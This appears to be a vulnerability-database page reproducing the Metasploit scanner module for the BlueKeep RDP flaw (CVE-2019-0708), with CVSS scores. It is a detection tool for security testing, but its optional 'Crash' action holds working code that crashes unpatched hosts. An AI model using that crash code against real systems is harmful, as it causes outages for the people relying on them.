CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
100.0%
This module checks a range of hosts for the CVE-2019-0708 vulnerability by binding the MS_T120 channel outside of its normal slot and sending non-DoS packets which respond differently on patched and vulnerable hosts. It can optionally trigger the DoS vulnerability.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::RDP
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
'Description' => %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
non-DoS packets which respond differently on patched and vulnerable hosts.
It can optionally trigger the DoS vulnerability.
},
'Author' =>
[
'National Cyber Security Centre', # Discovery
'JaGoTu', # Module
'zerosum0x0', # Module
'Tom Sellers' # TLS support, packet documenentation, DoS implementation
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
'Actions' => [
['Scan', 'Description' => 'Scan for exploitable targets'],
['Crash', 'Description' => 'Trigger denial of service vulnerability'],
],
'DefaultAction' => 'Scan',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'AKA' => ['BlueKeep']
}
)
)
end
def report_goods
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: name,
info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
refs: references
)
end
def run_host(ip)
# Allow the run command to call the check command
status = check_host(ip)
if status == Exploit::CheckCode::Vulnerable
print_good(status[1].to_s)
elsif status == Exploit::CheckCode::Safe
vprint_error(status[1].to_s)
else
vprint_status(status[1].to_s)
end
status
end
def rdp_reachable
rdp_connect
rdp_disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
def check_host(_ip)
# The check command will call this method instead of run_host
status = Exploit::CheckCode::Unknown
begin
begin
rdp_connect
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')
end
status = check_rdp_vuln
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog(e)
rescue RdpCommunicationError
vprint_error('Error communicating RDP protocol.')
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET
vprint_error('Connection reset')
rescue StandardError => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog(e)
ensure
rdp_disconnect
end
status
end
def check_for_patch
begin
6.times do
_res = rdp_recv
end
rescue RdpCommunicationError
# we don't care
end
# The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length
# The arch governs which of the packets triggers the desired response
# which is an MCS Disconnect Provider Ultimatum or a timeout.
# Disconnect Provider message of a valid size for each platform
# has proven to be safe to send as part of the vulnerability check.
x86_string = '00000000020000000000000000000000'
x64_string = '0000000000000000020000000000000000000000000000000000000000000000'
if action.name == 'Crash'
vprint_status('Sending denial of service payloads')
# Length and chars are arbitrary but total length needs to be longer than
# 16 for x86 and 32 for x64. Making the payload too long seems to cause
# the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
# the payload size and sending more of them doesn't seem to improve the
# reliability. It *seems* to happen more often on x64, I haven't seen it
# fail against x86. Repeated attempts will generally trigger the DoS.
x86_string += 'FF' * 1
x64_string += 'FF' * 2
else
vprint_status('Sending patch check payloads')
end
chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
channel_id = [1005].pack('S>')
x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)
x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)
6.times do
rdp_send(x86_packet)
rdp_send(x64_packet)
# A single pass should be sufficient to cause DoS
if action.name == 'Crash'
sleep(1)
rdp_disconnect
sleep(5)
if rdp_reachable
print_error("Target doesn't appear to have been crashed. Consider retrying.")
return Exploit::CheckCode::Unknown
else
print_good('Target service appears to have been successfully crashed.')
return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')
end
end
# Quick check for the Ultimatum PDU
begin
res = rdp_recv(-1, 1)
rescue EOFError
# we don't care
end
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))
# Slow check for Ultimatum PDU. If it doesn't respond in a timely
# manner then the host is likely patched.
begin
4.times do
res = rdp_recv
# 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
if res.include?(['0300000902f0802180'].pack('H*'))
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')
end
end
rescue RdpCommunicationError
# we don't care
end
end
Exploit::CheckCode::Safe
end
def check_rdp_vuln
# check if rdp is open
is_rdp, version_info = rdp_fingerprint
unless is_rdp
vprint_error('Could not connect to RDP service.')
return Exploit::CheckCode::Unknown
end
rdp_disconnect
rdp_connect
is_rdp, server_selected_proto = rdp_check_protocol
requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
info = "Detected RDP on #{peer} (Windows version: #{product_version})"
service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"
info << " (#{service_info})"
vprint_status(info)
if requires_nla
vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')
return Exploit::CheckCode::Safe
end
chans = [
['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
]
success = rdp_negotiate_security(chans, server_selected_proto)
return Exploit::CheckCode::Unknown unless success
rdp_establish_session
result = check_for_patch
if result == Exploit::CheckCode::Vulnerable
report_goods
end
# Can't determine, but at least we know the service is running
result
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
100.0%